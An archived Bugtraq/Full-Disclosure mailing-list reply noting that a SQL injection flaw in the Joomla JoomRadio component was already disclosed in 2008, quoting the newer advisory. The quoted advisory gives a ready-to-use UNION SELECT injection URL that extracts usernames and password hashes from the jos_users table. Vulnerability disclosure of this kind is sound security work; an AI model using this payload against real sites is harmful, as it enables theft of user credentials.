bugtraq - Re: [Full-disclosure] Joomla Component com

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20090218222110.GB17646@packetstormsecurity.org>
Date: Wed, 18 Feb 2009 17:21:10 -0500
From: Packet Storm <packet@...ketstormsecurity.org>
To: 0o_zeus_o0 <zeus.olimpusklan@...il.com>
Cc: submit@...w0rm.com, full-disclosure@...ts.grok.org.uk,
	bugtraq@...urityfocus.com, bugtraq@...e-h.org
Subject: Re: [Full-disclosure] Joomla Component com_joomradio SQL Injection

Already discovered in June, 2008.

http://packetstormsecurity.org/0806-exploits/joomlajoomradio-sql.txt bc9c589fca40fce9a4f4484333f207b5 The Joomla Joomradio component version 1.0 suffers from a remote SQL injection vulnerability.  Authored By <a href="mailto:His0k4.hlm[at]gmail.com">His0k4</a>

On Wed, Feb 18, 2009 at 07:32:02PM +0100, 0o_zeus_o0 wrote:
> ###########################################################################
> # Advisory X
> # Title: Joomla Component com_joomradio SQL Injection
> # Author: 0o_zeus_o0 ( Arturo Z. )
> # Contact: arturo_zamora_c@...mail.com
> # Website: www.securitybroken.com
> # Date: 18/02/09
> # Risk: Medium
> # Vendor Url: http://ajaxportal.eu/
> # Affected Software: JoomRadio
> # autor script:author XrByte <info@....ee>, Grusha <grusha@...llove.eu>
> ##################################################################
> #
> #Example:
> ##################################################################
> #htp://
> victimurl.com/pathjoomla/index.php?option=com_joomradio&page=show_radio&id=-1UNION
> SELECT
> user(),concat(username,0x3a,password),user(),user(),user(),user(),user()
> FROM jos_users--
> #
> ##################################################################
> #greetz:
> #
> # original advisorie: http://www.securitybroken.com
> ##################################################################

> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/